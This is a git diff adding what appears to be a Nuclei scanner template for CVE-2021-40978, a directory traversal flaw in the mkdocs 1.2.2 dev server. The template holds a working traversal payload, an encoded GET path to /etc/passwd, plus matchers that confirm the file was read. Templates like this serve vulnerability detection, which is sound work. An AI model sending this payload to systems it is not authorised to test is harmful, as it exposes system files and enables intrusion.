diff --git a/cves/2021/CVE-2021-40978.yaml b/cves/2021/CVE-2021-40978.yaml
new file mode 100644
index 0000000000..47dae4ec2f
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+++ b/cves/2021/CVE-2021-40978.yaml
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+id: CVE-2021-40978
+
+info:
+  name: mkdocs 1.2.2 built-in dev-server allows directory traversal
+  author: pikpikcu
+  severity: high
+  reference:
+    - https://github.com/nisdn/CVE-2021-40978
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-40978
+  tags: cve,cve2021,mkdocs,lfi
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body
+
+      - type: status
+        status:
+          - 200